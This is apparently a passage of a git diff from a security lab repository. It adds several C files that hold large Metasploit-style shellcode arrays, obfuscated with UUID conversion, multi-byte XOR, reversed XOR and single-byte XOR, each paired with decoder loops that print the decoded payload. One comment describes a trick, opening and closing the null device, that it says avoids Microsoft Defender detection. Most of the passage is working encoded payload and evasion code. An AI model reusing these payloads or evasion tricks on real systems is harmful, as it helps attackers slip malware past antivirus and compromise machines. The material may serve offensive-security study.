PAGE_READWRITE); + + // This keeps track of our current position in the allocated buffer + void * bufferBaseAddress = NULL; + + // This keeps track of how many bytes we've written into the buffer + int i = 0; + + // Loop through our list of UUIDs and use UuidFromStringA to convert and load into memory + for (int count = 0; count < sizeof(UUIDs) / sizeof(UUIDs[0]); count++) { + bufferBaseAddress = ((ULONG_PTR)buffer + i); + RPC_STATUS status = UuidFromStringA((RPC_CSTR)UUIDs[count], bufferBaseAddress); + i += 16; + } + + // create a new struct from the buffer we allocated + _data.Buffer = buffer; + _data.Length = shellcode_size; + + int idx = 0; + while ( idx < _data.Length) + { + if (idx == (shellcode_size - 1) ) + { + printf("0x%02x ", _data.Buffer[idx]); + } + else + { + printf("0x%02x, ", _data.Buffer[idx]); + } + idx++; + } + + +} diff --git a/lab_results/metasploit/xor_multibyte_work.c b/lab_results/metasploit/xor_multibyte_work.c new file mode 100644 index 0000000..f2da8b6 --- /dev/null +++ b/lab_results/metasploit/xor_multibyte_work.c @@ -0,0 +1,53 @@ +#include +#include + + +void XOR(char * ciphertext, size_t ciphertext_len, char * key, size_t key_len) { + // Defender will detect this function + // Somehow, opening the null device and closing it again is enough to avoid detection + FILE* outfile = fopen("nul", "w"); + + int myByte = 0; + int k_minus_one = key_len - 1; + for (int idx = 0; idx < ciphertext_len; idx++) { + if (myByte == k_minus_one) + { + myByte = 0; + } + + ciphertext[idx] = ciphertext[idx] ^ key[myByte]; + myByte++; + + } + // Close our decoy + fclose(outfile); +} + + +int main(void) +{ + + char shellcode[711] = {0xa4,0x07,0xd1,0xaf,0xb5,0xb1,0x94,0x4f,0x52,0x4b,0x04,0x08,0x19,0x1f,0x00,0x03,0x74,0x8b,0x3d,0x07,0xd9,0x19,0x25,0x11,0xd3,0x1d,0x4a,0x03,0xce,0x0b,0x78,0x1e,0x04,0x03,0x4a,0xee,0x12,0x05,0x1a,0xc0,0x37,0x09,0x15,0x7e,0x9b,0x03,0x74,0x99,0xf4,0x73,0x33,0x37,0x47,0x75,0x78,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0xb0,0xa6,0x17,0x11,0xd3,0x1d,0x72,0xc0,0x07,0x65,0x19,0x1e,0x1a,0x4a,0x95,0x3f,0xd9,0x37,0x4a,0x40,0x47,0x56,0xdd,0x3d,0x52,0x4b,0x45,0xd2,0xd8,0xc7,0x52,0x4b,0x45,0x11,0xdd,0x8f,0x26,0x2c,0x0d,0x58,0x88,0x0b,0xd9,0x0b,0x65,0x10,0x59,0x9f,0xd9,0x03,0x5d,0x09,0xbb,0x19,0x1a,0xb4,0x8c,0x18,0xd3,0x7b,0xda,0x06,0x74,0x90,0x10,0x4e,0x84,0x03,0x74,0x99,0xf4,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0x6a,0xab,0x30,0xa8,0x14,0x4c,0x1e,0x6f,0x4d,0x1c,0x61,0x9e,0x27,0x93,0x1d,0x1d,0xd3,0x0f,0x76,0x02,0x44,0x89,0x3e,0x0e,0xd9,0x47,0x0d,0x1d,0xd3,0x0f,0x4e,0x02,0x44,0x89,0x19,0xc4,0x56,0xc3,0x04,0x01,0x19,0x17,0x1a,0x4a,0x95,0x07,0x01,0x15,0x13,0x13,0x04,0x00,0x19,0x15,0x1a,0xc8,0xa9,0x79,0x19,0x1d,0xad,0xab,0x1d,0x18,0x01,0x15,0x1a,0xc0,0x57,0xb0,0x13,0xb0,0xad,0xb4,0x18,0x11,0x69,0x94,0x01,0x02,0xfb,0x2e,0x31,0x21,0x3b,0x25,0x20,0x2d,0x58,0x0e,0x04,0x03,0xcc,0xb8,0x11,0x88,0x90,0x07,0x32,0x7f,0x5f,0xb0,0x87,0x18,0x16,0xb1,0x28,0x4f,0x52,0x4b,0x08,0x36,0x22,0x26,0x3e,0x27,0x24,0x76,0x6d,0x61,0x62,0x6b,0x6d,0x0e,0x31,0x21,0x36,0x24,0x32,0x2a,0x78,0x01,0x06,0x6b,0x74,0x69,0x76,0x7f,0x69,0x6b,0x12,0x30,0x36,0x79,0x66,0x70,0x65,0x21,0x6e,0x7b,0x7b,0x6b,0x04,0x29,0x28,0x23,0x37,0x1c,0x20,0x3b,0x13,0x26,0x26,0x64,0x70,0x6a,0x6f,0x61,0x61,0x7d,0x65,0x71,0x13,0x07,0x06,0x06,0x09,0x75,0x78,0x23,0x3b,0x20,0x20,0x79,0x1f,0x2a,0x31,0x20,0x2a,0x70,0x78,0x0c,0x3a,0x39,0x2a,0x34,0x3d,0x60,0x63,0x78,0x74,0x77,0x68,0x61,0x62,0x65,0x75,0x79,0x0b,0x2e,0x34,0x2a,0x37,0x30,0x77,0x7a,0x61,0x7c,0x6b,0x6a,0x6e,0x4f,0x0b,0x18,0x1f,0x14,0x69,0x8f,0x1f,0x7a,0x8c,0x0a,0x0b,0x06,0xe8,0x71,0x13,0x20,0xff,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0xa7,0x42,0x4b,0x45,0x59,0x69,0x76,0x60,0x65,0x74,0x6f,0x60,0x61,0x63,0x72,0x75,0x77,0x69,0x7c,0x66,0x4b,0x1f,0x11,0xd1,0x8e,0x1b,0x8c,0x85,0x09,0x58,0x4f,0x52,0x06,0x74,0x90,0x0b,0x1c,0x38,0x48,0x16,0x10,0xe2,0x18,0xdb,0xd4,0x83,0x59,0x58,0x4f,0x52,0xb4,0x90,0xb1,0x13,0x4f,0x52,0x4b,0x6a,0x2c,0x2f,0x0b,0x3b,0x12,0x17,0x17,0x2a,0x2c,0x3f,0x31,0x0a,0x6e,0x15,0x10,0x27,0x3b,0x36,0x18,0x1a,0x1f,0x25,0x21,0x1a,0x35,0x36,0x26,0x39,0x7f,0x7d,0x6e,0x07,0x08,0x33,0x09,0x77,0x0a,0x15,0x3b,0x37,0x7a,0x29,0x33,0x00,0x29,0x16,0x1b,0x31,0x60,0x61,0x09,0x30,0x3f,0x14,0x18,0x00,0x7a,0x23,0x1d,0x27,0x68,0x0a,0x26,0x13,0x1f,0x0f,0x16,0x36,0x3e,0x24,0x33,0x30,0x74,0x58,0x07,0xdb,0x8a,0x16,0x03,0x19,0x17,0x1f,0x7a,0x8c,0x0a,0x10,0xf7,0x52,0x49,0x6d,0xdd,0x58,0x4f,0x52,0x4b,0x15,0x0a,0x0b,0x06,0x95,0x89,0xae,0x0c,0x76,0x74,0xad,0x9e,0x0d,0xd0,0x9e,0x25,0x58,0x14,0x16,0x03,0x10,0xc6,0xa3,0x06,0x74,0x90,0x15,0x7e,0x9b,0x18,0x16,0x10,0x9f,0x8d,0x7f,0x4d,0x5d,0x22,0xa7,0x9a,0xd7,0x8b,0x30,0x46,0x10,0x88,0x93,0xc3,0x56,0x59,0x58,0x06,0xe8,0x0f,0xb5,0x6c,0xb8,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0x07,0xad,0x84,0x31,0x5b,0xb3,0x83,0xba,0x1e,0x45,0x59,0x58,0x1c,0x0b,0x21,0x05,0x03,0x11,0xc6,0x83,0x8a,0xa7,0x49,0x11,0x88,0x92,0x4b,0x55,0x59,0x58,0x06,0xe8,0x13,0xe1,0x0a,0xbd,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0x07,0xc1,0x18,0x16,0x11,0xd1,0xa8,0x1a,0xc2,0xb4,0x11,0xd1,0x95,0x1b,0x8c,0x85,0x59,0x78,0x4f,0x52,0x02,0xcc,0xa0,0x11,0xf5,0x40,0xdd,0xcc,0xbb,0x58,0x4f,0x52,0x4b,0xba,0x8c,0x10,0xcc,0x96,0x6b,0xc0,0x99,0x2c,0xfd,0x34,0xc0,0x42,0x11,0x59,0x8c,0xd7,0x8b,0x30,0x8b,0x00,0x8c,0x0a,0x21,0x45,0x00,0x11,0x88,0x90,0xbb,0xf0,0xfb,0x0e,0xb0,0x87}; + char xorkey[] = "XORKEY"; + + + // XOR our shellcode with the key to decode it + XOR((char *) shellcode, sizeof(shellcode), xorkey, sizeof(xorkey)); + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + return 0; +} diff --git a/lab_results/metasploit/xor_reverse_work.c b/lab_results/metasploit/xor_reverse_work.c new file mode 100644 index 0000000..1211164 --- /dev/null +++ b/lab_results/metasploit/xor_reverse_work.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include + + +int main(void) +{ + + + unsigned char reversed_payload [711] = {0xc2, 0xe8, 0x41, 0xb5, 0xa2, 0xe7, 0xd5, 0xd0, 0x5e, 0x4e, 0x17, 0x7d, 0x4f, 0xd4, 0x4f, 0xc5, 0x62, 0xd7, 0x92, 0xd4, 0x16, 0x5f, 0x10, 0x9c, 0x71, 0xa5, 0x63, 0xd7, 0x92, 0x37, 0xd3, 0x94, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf5, 0x9e, 0x81, 0x5, 0xad, 0x5e, 0xee, 0x9e, 0x5e, 0x17, 0x17, 0x37, 0x17, 0xd7, 0xd0, 0x5e, 0xcd, 0x9e, 0x5f, 0xe6, 0x9e, 0x5f, 0xf0, 0x9e, 0x5f, 0x44, 0x44, 0x84, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf2, 0x44, 0xb3, 0x4f, 0xad, 0x5e, 0x17, 0x17, 0x7, 0x17, 0xd7, 0xd0, 0x5e, 0x7, 0xf5, 0xd6, 0xc6, 0x9e, 0x5e, 0x4d, 0x57, 0x7d, 0x4e, 0x44, 0x17, 0x17, 0x17, 0x42, 0xff, 0xdb, 0xfc, 0x15, 0x63, 0xd8, 0xe8, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf7, 0x22, 0xe7, 0x53, 0xad, 0x5e, 0x17, 0x17, 0x4, 0x9f, 0xd6, 0xd0, 0x5f, 0x8, 0x62, 0xd7, 0x92, 0xc2, 0xe8, 0x6c, 0xf, 0x11, 0x3a, 0xd5, 0xd0, 0x5e, 0x44, 0x44, 0xde, 0x26, 0x5a, 0xde, 0x26, 0x5a, 0xe6, 0x9e, 0x5f, 0x4d, 0x44, 0x48, 0x1d, 0x7d, 0xd1, 0x9e, 0x5f, 0xc2, 0xe8, 0x2c, 0x39, 0x42, 0xfc, 0xd5, 0xd0, 0x5e, 0x44, 0x44, 0x47, 0x17, 0x17, 0x17, 0x17, 0x93, 0x3f, 0x15, 0x17, 0xaf, 0x5f, 0x44, 0xde, 0x26, 0x5a, 0x4f, 0x56, 0x4d, 0x44, 0xd6, 0x9e, 0x5f, 0x17, 0x3a, 0x62, 0x6f, 0x61, 0x66, 0x79, 0x58, 0x5d, 0x43, 0x56, 0x7e, 0x45, 0x26, 0x75, 0x41, 0x66, 0x22, 0x4f, 0x56, 0x46, 0x63, 0x75, 0x51, 0x2e, 0x2e, 0x63, 0x47, 0x53, 0x71, 0x4f, 0x7d, 0x7b, 0x26, 0x72, 0x63, 0x5a, 0x44, 0x25, 0x55, 0x76, 0x50, 0x48, 0x20, 0x2f, 0x23, 0x7c, 0x7e, 0x79, 0x7b, 0x48, 0x7d, 0x60, 0x47, 0x55, 0x56, 0x64, 0x67, 0x62, 0x48, 0x5a, 0x20, 0x58, 0x6d, 0x7a, 0x74, 0x65, 0x59, 0x45, 0x4e, 0x7e, 0x53, 0x60, 0x62, 0x38, 0x17, 0x17, 0x17, 0x5c, 0xff, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xd1, 0x88, 0x9e, 0x40, 0xad, 0x5e, 0x44, 0x14, 0x7d, 0x44, 0x44, 0xde, 0x26, 0x5a, 0x17, 0x17, 0x17, 0x47, 0xd7, 0xd0, 0x5e, 0xd6, 0x9e, 0x5f, 0x4d, 0x17, 0x23, 0x24, 0x26, 0x39, 0x27, 0x2e, 0x26, 0x39, 0x2f, 0x21, 0x26, 0x39, 0x25, 0x2e, 0x26, 0x17, 0x17, 0x17, 0x7, 0xff, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xb0, 0x6e, 0x41, 0x2d, 0xad, 0x5e, 0x44, 0x44, 0xde, 0x26, 0x5a, 0xd7, 0x26, 0x5a, 0x4d, 0x44, 0x4e, 0x17, 0x21, 0x24, 0x39, 0x20, 0x24, 0x22, 0x38, 0x7e, 0x65, 0x76, 0x71, 0x76, 0x44, 0x37, 0x27, 0x39, 0x27, 0x39, 0x27, 0x39, 0x26, 0x24, 0x26, 0x38, 0x72, 0x7a, 0x78, 0x65, 0x7f, 0x54, 0x37, 0x3e, 0x78, 0x7c, 0x74, 0x72, 0x50, 0x37, 0x72, 0x7c, 0x7e, 0x7b, 0x37, 0x3b, 0x5b, 0x5a, 0x43, 0x5f, 0x5c, 0x3f, 0x37, 0x21, 0x24, 0x39, 0x20, 0x24, 0x22, 0x38, 0x63, 0x7e, 0x5c, 0x75, 0x72, 0x40, 0x72, 0x7b, 0x67, 0x67, 0x56, 0x37, 0x3e, 0x23, 0x21, 0x6f, 0x37, 0x2c, 0x23, 0x21, 0x79, 0x7e, 0x40, 0x37, 0x2c, 0x27, 0x39, 0x27, 0x26, 0x37, 0x43, 0x59, 0x37, 0x64, 0x60, 0x78, 0x73, 0x79, 0x7e, 0x40, 0x3f, 0x37, 0x27, 0x39, 0x22, 0x38, 0x76, 0x7b, 0x7b, 0x7e, 0x6d, 0x78, 0x5a, 0x17, 0x17, 0x17, 0x67, 0xff, 0x44, 0x44, 0xc2, 0xe8, 0x10, 0x31, 0x60, 0x5b, 0xd5, 0xd0, 0x5e, 0xf6, 0x9e, 0x5f, 0x41, 0x56, 0x17, 0x63, 0x72, 0x79, 0x7e, 0x79, 0x7e, 0x60, 0xa9, 0x5e, 0x44, 0xcc, 0x26, 0x5f, 0x4a, 0xe8, 0xe8, 0xe8, 0x5c, 0xfe, 0x5, 0x9c, 0x5f, 0x4d, 0x4e, 0x56, 0x4f, 0xf7, 0xe8, 0x45, 0x56, 0x37, 0xfb, 0x94, 0x5f, 0x4d, 0x56, 0x4e, 0x56, 0x4f, 0x56, 0x4d, 0x4e, 0x49, 0xc7, 0x16, 0x5f, 0x4f, 0x56, 0x4f, 0x56, 0x9f, 0x13, 0x9c, 0x56, 0xc7, 0x16, 0x5e, 0xb, 0x57, 0x9c, 0x53, 0x5f, 0x1b, 0x9c, 0x56, 0x71, 0xc7, 0x16, 0x5e, 0x33, 0x57, 0x9c, 0x53, 0x4f, 0xcf, 0x62, 0xc6, 0x2e, 0x52, 0x1f, 0x33, 0x5b, 0x14, 0x5b, 0xe6, 0x62, 0xf7, 0x2f, 0xd6, 0x16, 0x56, 0x1a, 0xde, 0xd6, 0x56, 0xbb, 0xd7, 0x26, 0x5f, 0xc1, 0x16, 0x5f, 0xde, 0x26, 0x5a, 0x9f, 0x23, 0x9c, 0x56, 0xde, 0xe8, 0x5f, 0x41, 0xf4, 0x47, 0xf, 0x5f, 0x9c, 0xc7, 0x16, 0x5e, 0x37, 0x57, 0x9c, 0x53, 0xc7, 0x16, 0x5f, 0x70, 0x63, 0xd7, 0x92, 0x5f, 0x17, 0x17, 0x17, 0x9f, 0x97, 0x9c, 0x17, 0x17, 0x17, 0x65, 0x92, 0x18, 0x15, 0x1c, 0xf, 0x6f, 0x96, 0x71, 0xc7, 0x16, 0x5f, 0x46, 0x56, 0x2b, 0x55, 0x9c, 0x37, 0x45, 0x9c, 0x5f, 0x45, 0xfa, 0xf5, 0xd6, 0x16, 0x56, 0x1a, 0xde, 0xd6, 0x56, 0x37, 0x3b, 0x15, 0x6b, 0x76, 0x2b, 0xbb, 0xd7, 0x26, 0x5f, 0xde, 0x26, 0x5a, 0x47, 0x65, 0x9c, 0x5f, 0x5d, 0x5d, 0xa0, 0x18, 0x5f, 0x41, 0x46, 0x37, 0x45, 0x9c, 0x5f, 0xf, 0x45, 0x9c, 0x5f, 0x77, 0x45, 0x9c, 0x5f, 0x72, 0xc5, 0x26, 0x5f, 0x45, 0x47, 0x56, 0x46, 0x56, 0x17, 0x17, 0x17, 0xdb, 0xff, 0xe7, 0xf3, 0x94, 0x5f, 0xeb}; + + char shellcode[sizeof(reversed_payload)] = {0}; + unsigned int len = sizeof(reversed_payload); + int xorkey = 23; + + // reverse and de-xor our array of ints + for (int i = 0; i < len; i++) + { + char decoded = reversed_payload[len - i - 1] ^ xorkey; + shellcode[i] = decoded; + } + + int idx = 0; + while (idx < sizeof(reversed_payload)) + { + if (idx == (sizeof(reversed_payload) - 1)) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + return 0; +} diff --git a/lab_results/metasploit/xor_single_work.c b/lab_results/metasploit/xor_single_work.c new file mode 100644 index 0000000..f034164 --- /dev/null +++ b/lab_results/metasploit/xor_single_work.c @@ -0,0 +1,33 @@ +#include +#include + + +int main(void) +{ + + unsigned int xorkey = 23; +unsigned char shellcode[711] = {235, 95, 148, 243, 231, 255, 219, 23, 23, 23, 86, 70, 86, 71, 69, 95, 38, 197, 114, 95, 156, 69, 119, 95, 156, 69, 15, 95, 156, 69, 55, 70, 65, 95, 24, 160, 93, 93, 95, 156, 101, 71, 90, 38, 222, 95, 38, 215, 187, 43, 118, 107, 21, 59, 55, 86, 214, 222, 26, 86, 22, 214, 245, 250, 69, 95, 156, 69, 55, 156, 85, 43, 86, 70, 95, 22, 199, 113, 150, 111, 15, 28, 21, 24, 146, 101, 23, 23, 23, 156, 151, 159, 23, 23, 23, 95, 146, 215, 99, 112, 95, 22, 199, 83, 156, 87, 55, 94, 22, 199, 156, 95, 15, 71, 244, 65, 95, 232, 222, 86, 156, 35, 159, 90, 38, 222, 95, 22, 193, 95, 38, 215, 187, 86, 214, 222, 26, 86, 22, 214, 47, 247, 98, 230, 91, 20, 91, 51, 31, 82, 46, 198, 98, 207, 79, 83, 156, 87, 51, 94, 22, 199, 113, 86, 156, 27, 95, 83, 156, 87, 11, 94, 22, 199, 86, 156, 19, 159, 86, 79, 86, 79, 95, 22, 199, 73, 78, 77, 86, 79, 86, 78, 86, 77, 95, 148, 251, 55, 86, 69, 232, 247, 79, 86, 78, 77, 95, 156, 5, 254, 92, 232, 232, 232, 74, 95, 38, 204, 68, 94, 169, 96, 126, 121, 126, 121, 114, 99, 23, 86, 65, 95, 158, 246, 94, 208, 213, 91, 96, 49, 16, 232, 194, 68, 68, 255, 103, 23, 23, 23, 90, 120, 109, 126, 123, 123, 118, 56, 34, 57, 39, 55, 63, 64, 126, 121, 115, 120, 96, 100, 55, 89, 67, 55, 38, 39, 57, 39, 44, 55, 64, 126, 121, 33, 35, 44, 55, 111, 33, 35, 62, 55, 86, 103, 103, 123, 114, 64, 114, 117, 92, 126, 99, 56, 34, 36, 32, 57, 36, 33, 55, 63, 92, 95, 67, 90, 91, 59, 55, 123, 126, 124, 114, 55, 80, 114, 116, 124, 120, 62, 55, 84, 127, 101, 120, 122, 114, 56, 38, 36, 38, 57, 39, 57, 39, 57, 39, 55, 68, 118, 113, 118, 101, 126, 56, 34, 36, 32, 57, 36, 33, 23, 78, 68, 77, 90, 38, 215, 90, 38, 222, 68, 68, 94, 173, 45, 65, 110, 176, 23, 23, 23, 23, 232, 194, 255, 7, 23, 23, 23, 38, 46, 37, 57, 38, 33, 47, 57, 38, 46, 39, 57, 38, 36, 35, 23, 77, 95, 158, 214, 94, 208, 215, 71, 23, 23, 23, 90, 38, 222, 68, 68, 125, 20, 68, 94, 173, 64, 158, 136, 209, 23, 23, 23, 23, 232, 194, 255, 92, 23, 23, 23, 56, 98, 96, 83, 126, 78, 69, 89, 101, 116, 122, 109, 88, 32, 90, 72, 98, 103, 100, 86, 85, 71, 96, 125, 72, 123, 121, 126, 124, 35, 47, 32, 72, 80, 118, 85, 37, 68, 90, 99, 114, 38, 123, 125, 79, 113, 83, 71, 99, 46, 46, 81, 117, 99, 70, 86, 79, 34, 102, 65, 117, 38, 69, 126, 86, 67, 93, 88, 121, 102, 97, 111, 98, 58, 23, 95, 158, 214, 68, 77, 86, 79, 90, 38, 222, 68, 95, 175, 23, 21, 63, 147, 23, 23, 23, 23, 71, 68, 68, 94, 208, 213, 252, 66, 57, 44, 232, 194, 95, 158, 209, 125, 29, 72, 68, 77, 95, 158, 230, 90, 38, 222, 90, 38, 222, 68, 68, 94, 208, 213, 58, 17, 15, 108, 232, 194, 146, 215, 98, 8, 95, 208, 214, 159, 4, 23, 23, 94, 173, 83, 231, 34, 247, 23, 23, 23, 23, 232, 194, 95, 232, 216, 99, 21, 252, 219, 255, 66, 23, 23, 23, 68, 78, 125, 87, 77, 94, 158, 198, 214, 245, 7, 94, 208, 215, 23, 7, 23, 23, 94, 173, 79, 179, 68, 242, 23, 23, 23, 23, 232, 194, 95, 132, 68, 68, 95, 158, 240, 95, 158, 230, 95, 158, 205, 94, 208, 215, 23, 55, 23, 23, 94, 158, 238, 94, 173, 5, 129, 158, 245, 23, 23, 23, 23, 232, 194, 95, 148, 211, 55, 146, 215, 99, 165, 113, 156, 16, 95, 22, 212, 146, 215, 98, 197, 79, 212, 79, 125, 23, 78, 94, 208, 213, 231, 162, 181, 65, 232, 194}; + + // XOR each byte of our shellcode with the key to decode it + for (int idx = 0; idx < sizeof(shellcode); idx++) { + shellcode[idx] = shellcode[idx] ^ xorkey; + } + + int idx = 0; + while ( idx < sizeof(shellcode)) + { + if (idx == (sizeof(shellcode) - 1) ) + { + printf("0x%02x ", (unsigned char)shellcode[idx]); + } + else + { + printf("0x%02x, ", (unsigned char)shellcode[idx]); + } + idx++; + } + + + return 0; +} +